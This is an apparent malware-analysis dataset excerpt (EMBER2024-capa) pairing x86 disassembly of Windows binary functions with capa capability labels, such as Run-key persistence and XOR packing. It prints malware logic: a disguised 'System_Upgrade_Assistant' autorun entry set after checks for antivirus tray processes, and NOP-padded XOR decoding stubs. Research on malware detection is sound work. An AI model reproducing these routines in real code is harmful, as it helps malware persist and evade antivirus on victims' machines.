joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000e9c0
Capabilities:
Get common file path
Persist via run registry key
Print debug messages
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x530
mov eax, dword [0x10016034]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x110]
push eax
push 0
push 0
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0x104
lea ecx, [ebp - 0x528]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.MSVCR100.dll_sprintf_s]
lea edx, [ebp - 0x110]
push edx
push str._smsedge.exe
lea eax, [ebp - 0x218]
push 0x104
push eax
call esi
lea ecx, [ebp - 0x218]
push ecx
push str.explorer___s_
lea edx, [ebp - 0x420]
push 0x208
push edx
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x20
lea eax, [ebp - 0x52c]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push closesocket
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1000eab4
mov edx, dword [ebp - 0x52c]
lea ecx, [ebp - 0x530]
push ecx
push 0
push 0
push 0
push str.System_Upgrade_Assistant
push edx
mov dword [ebp - 0x530], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000eaab
mov eax, dword [ebp - 0x52c]
push eax
call edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001015c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x52c]
push ecx
call edi
push str.meiyou
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea edx, [ebp - 0x52c]
push edx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push closesocket
call esi
test eax, eax
jne 0x1000eb48
mov ecx, str.360Tray.exe
call fcn.1000e4c0
mov ecx, str.kxetray.exe
call fcn.1000e4c0
mov ecx, str.QQPCTray.exe
call fcn.1000e4c0
mov ecx, str.HipsTray.exe
call fcn.1000e4c0
mov ecx, str.2345SafeTray.exe
call fcn.1000e4c0
lea eax, [ebp - 0x420]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000eb18
mov ecx, dword [ebp - 0x52c]
sub eax, edx
push eax
lea eax, [ebp - 0x420]
push eax
push 1
push 0
push str.System_Upgrade_Assistant
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x52c]
push edx
call edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1001015c
mov esp, ebp
pop ebp
ret
Function at 0x1000fa60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push 0
push 0
push 0
push 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
lea edx, [ebp - 0x10]
push edx
push 0x1000f9d0
push 0
push 0
mov dword [ebp - 4], eax
call dword [sym.imp.MSVCR100.dll__beginthreadex]
add esp, 0x18
mov esi, eax
mov eax, dword [ebp - 4]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000fc10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10013768
push 0x100108a9
mov eax, dword fs:[0]
push eax
sub esp, 0x22c
mov eax, dword [0x10016034]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov edi, ecx
mov esi, edx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x23c], closesocket
mov dword [ebp - 0x22c], 0
push 0x104
push 0
lea eax, [ebp - 0x120]
push eax
call sub.MSVCR100.dll_memset
push 0x104
push 0
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCR100.dll_memset
add esp, 0x18
mov dword [ebp - 4], 0
lea edx, [ebp - 0x234]
push edx
push 0x20019
push 0
push edi
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000fcc8
mov dword [ebp - 0x22c], 0xffffffff
jmp case.0x1000fcd8.5
mov eax, dword [ebp - 0x230]
dec eax
cmp eax, 6
ja case.0x1000fcd8.5
jmp dword [eax*4 + 0x1000fe94]
mov dword [ebp - 0x228], 0x104
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0
push esi
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
lea ecx, [ebp - 0x120]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x1000fe42
mov dword [ebp - 0x228], 0x104
lea edx, [ebp - 0x228]
push edx
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x230]
push ecx
push 0
push esi
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
lea esi, [ebp - 0x120]
mov edi, dword [sym.imp.MSVCR100.dll_strncat]
lea esp, [esp]
cmp byte [esi], 0
je 0x1000fdab
push 0x104
push esi
lea eax, [ebp - 0x224]
push eax
call edi
push 0x104
push 0x10012978
lea ecx, [ebp - 0x224]
push ecx
call edi
add esp, 0x18
push 0
push esi
call dword [sym.imp.MSVCR100.dll_strchr]
add esp, 8
lea esi, [eax + 1]
jmp 0x1000fd70
lea edx, [ebp - 0x224]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x1000fe42
mov dword [ebp - 0x228], 4
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x238]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0
push esi
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
mov ecx, dword [ebp - 0x238]
push ecx
push 0x10012ac4
jmp 0x1000fe38
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x228], edx
lea eax, [ebp - 0x228]
push eax
push 0
lea ecx, [ebp - 0x230]
push ecx
push 0
push esi
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
mov eax, dword [ebp - 0x230]
push eax
push str._08X
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x22c], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.1000fe7a
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1001015c
mov esp, ebp
pop ebp
ret
Function at 0x1000fd29
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10013768
push 0x100108a9
mov eax, dword fs:[0]
push eax
sub esp, 0x22c
mov eax, dword [0x10016034]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov edi, ecx
mov esi, edx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x23c], closesocket
mov dword [ebp - 0x22c], 0
push 0x104
push 0
lea eax, [ebp - 0x120]
push eax
call sub.MSVCR100.dll_memset
push 0x104
push 0
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCR100.dll_memset
add esp, 0x18
mov dword [ebp - 4], 0
lea edx, [ebp - 0x234]
push edx
push 0x20019
push 0
push edi
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000fcc8
mov dword [ebp - 0x22c], 0xffffffff
jmp case.0x1000fcd8.5
mov eax, dword [ebp - 0x230]
dec eax
cmp eax, 6
ja case.0x1000fcd8.5
jmp dword [eax*4 + 0x1000fe94]
mov dword [ebp - 0x228], 0x104
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0
push esi
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
lea ecx, [ebp - 0x120]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x1000fe42
mov dword [ebp - 0x228], 0x104
lea edx, [ebp - 0x228]
push edx
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x230]
push ecx
push 0
push esi
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
lea esi, [ebp - 0x120]
mov edi, dword [sym.imp.MSVCR100.dll_strncat]
lea esp, [esp]
cmp byte [esi], 0
je 0x1000fdab
push 0x104
push esi
lea eax, [ebp - 0x224]
push eax
call edi
push 0x104
push 0x10012978
lea ecx, [ebp - 0x224]
push ecx
call edi
add esp, 0x18
push 0
push esi
call dword [sym.imp.MSVCR100.dll_strchr]
add esp, 8
lea esi, [eax + 1]
jmp 0x1000fd70
lea edx, [ebp - 0x224]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x1000fe42
mov dword [ebp - 0x228], 4
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x238]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0
push esi
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
mov ecx, dword [ebp - 0x238]
push ecx
push 0x10012ac4
jmp 0x1000fe38
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x228], edx
lea eax, [ebp - 0x228]
push eax
push 0
lea ecx, [ebp - 0x230]
push ecx
push 0
push esi
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
mov eax, dword [ebp - 0x230]
push eax
push str._08X
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x22c], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.1000fe7a
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1001015c
mov esp, ebp
pop ebp
ret
Function at 0x1000fdbe
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10013768
push 0x100108a9
mov eax, dword fs:[0]
push eax
sub esp, 0x22c
mov eax, dword [0x10016034]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov edi, ecx
mov esi, edx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x23c], closesocket
mov dword [ebp - 0x22c], 0
push 0x104
push 0
lea eax, [ebp - 0x120]
push eax
call sub.MSVCR100.dll_memset
push 0x104
push 0
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCR100.dll_memset
add esp, 0x18
mov dword [ebp - 4], 0
lea edx, [ebp - 0x234]
push edx
push 0x20019
push 0
push edi
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000fcc8
mov dword [ebp - 0x22c], 0xffffffff
jmp case.0x1000fcd8.5
mov eax, dword [ebp - 0x230]
dec eax
cmp eax, 6
ja case.0x1000fcd8.5
jmp dword [eax*4 + 0x1000fe94]
mov dword [ebp - 0x228], 0x104
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0
push esi
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
lea ecx, [ebp - 0x120]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x1000fe42
mov dword [ebp - 0x228], 0x104
lea edx, [ebp - 0x228]
push edx
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x230]
push ecx
push 0
push esi
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
lea esi, [ebp - 0x120]
mov edi, dword [sym.imp.MSVCR100.dll_strncat]
lea esp, [esp]
cmp byte [esi], 0
je 0x1000fdab
push 0x104
push esi
lea eax, [ebp - 0x224]
push eax
call edi
push 0x104
push 0x10012978
lea ecx, [ebp - 0x224]
push ecx
call edi
add esp, 0x18
push 0
push esi
call dword [sym.imp.MSVCR100.dll_strchr]
add esp, 8
lea esi, [eax + 1]
jmp 0x1000fd70
lea edx, [ebp - 0x224]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x1000fe42
mov dword [ebp - 0x228], 4
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x238]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0
push esi
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
mov ecx, dword [ebp - 0x238]
push ecx
push 0x10012ac4
jmp 0x1000fe38
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x228], edx
lea eax, [ebp - 0x228]
push eax
push 0
lea ecx, [ebp - 0x230]
push ecx
push 0
push esi
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
mov eax, dword [ebp - 0x230]
push eax
push str._08X
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x22c], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.1000fe7a
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1001015c
mov esp, ebp
pop ebp
ret
Function at 0x1000fdff
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10013768
push 0x100108a9
mov eax, dword fs:[0]
push eax
sub esp, 0x22c
mov eax, dword [0x10016034]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov edi, ecx
mov esi, edx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x23c], closesocket
mov dword [ebp - 0x22c], 0
push 0x104
push 0
lea eax, [ebp - 0x120]
push eax
call sub.MSVCR100.dll_memset
push 0x104
push 0
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCR100.dll_memset
add esp, 0x18
mov dword [ebp - 4], 0
lea edx, [ebp - 0x234]
push edx
push 0x20019
push 0
push edi
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000fcc8
mov dword [ebp - 0x22c], 0xffffffff
jmp case.0x1000fcd8.5
mov eax, dword [ebp - 0x230]
dec eax
cmp eax, 6
ja case.0x1000fcd8.5
jmp dword [eax*4 + 0x1000fe94]
mov dword [ebp - 0x228], 0x104
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0
push esi
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
lea ecx, [ebp - 0x120]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x1000fe42
mov dword [ebp - 0x228], 0x104
lea edx, [ebp - 0x228]
push edx
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x230]
push ecx
push 0
push esi
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
lea esi, [ebp - 0x120]
mov edi, dword [sym.imp.MSVCR100.dll_strncat]
lea esp, [esp]
cmp byte [esi], 0
je 0x1000fdab
push 0x104
push esi
lea eax, [ebp - 0x224]
push eax
call edi
push 0x104
push 0x10012978
lea ecx, [ebp - 0x224]
push ecx
call edi
add esp, 0x18
push 0
push esi
call dword [sym.imp.MSVCR100.dll_strchr]
add esp, 8
lea esi, [eax + 1]
jmp 0x1000fd70
lea edx, [ebp - 0x224]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x1000fe42
mov dword [ebp - 0x228], 4
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x238]
push ecx
lea edx, [ebp - 0x230]
push edx
push 0
push esi
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
mov ecx, dword [ebp - 0x238]
push ecx
push 0x10012ac4
jmp 0x1000fe38
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x228], edx
lea eax, [ebp - 0x228]
push eax
push 0
lea ecx, [ebp - 0x230]
push ecx
push 0
push esi
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne case.0x1000fcd8.5
mov eax, dword [ebp - 0x230]
push eax
push str._08X
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x22c], 1
mov dword [ebp - 4], 0xfffffffe
call fcn.1000fe7a
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1001015c
mov esp, ebp
pop ebp
ret
Function at 0x1001015c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10016034]
jne 0x10010166
repz ret
jmp fcn.1001066d

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43100c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
nop
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
sub ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
pop edi
cmp edi, ebx
jne 0x40b525
sub eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
test eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
test eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
test eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
mov ecx, 0x465b381f
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x489247e1
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
mov ecx, 0x632b27c5
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x5b7f7cd3
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401050
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
xor al, al
push esi
mov esi, dword [ebp + 0xc]
mov byte [ebp - 0x14], al
mov byte [ebp - 4], al
mov byte [ebp - 0xc], al
push 2
lea eax, [ebp - 8]
push eax
push esi
mov dword [ebp - 0x18], 0x38
mov dword [ebp - 8], 0x3031
mov dword [ebp - 0x28], 0x32313032
mov word [ebp - 0x24], 0
mov dword [ebp - 0x30], 0x36313032
mov word [ebp - 0x2c], 0
mov dword [ebp - 0x10], 0x37
mov dword [ebp - 0x20], 0x38303032
mov word [ebp - 0x1c], 0
call fcn.00418a30
add esp, 0xc
test eax, eax
je 0x4010be
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x60], 1
push 1
lea edx, [ebp - 0x10]
push edx
push esi
call fcn.00418a30
add esp, 0xc
test eax, eax
jne 0x40113f
push 4
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.00418a30
add esp, 0xc
test eax, eax
jne 0x40113f
push 1
lea ecx, [ebp - 0x18]
push ecx
push esi
call fcn.00418a30
add esp, 0xc
test eax, eax
jne 0x401135
push 2
lea edx, [ebp - 8]
push edx
push esi
call fcn.00418a30
add esp, 0xc
test eax, eax
jne 0x401135
push 4
lea eax, [ebp - 0x28]
push eax
push esi
call fcn.00418a30
add esp, 0xc
test eax, eax
jne 0x401135
push 4
lea ecx, [ebp - 0x30]
push ecx
push esi
call fcn.00418a30
add esp, 0xc
test eax, eax
jne 0x401135
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 8
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 7
pop esi
mov esp, ebp
pop ebp
ret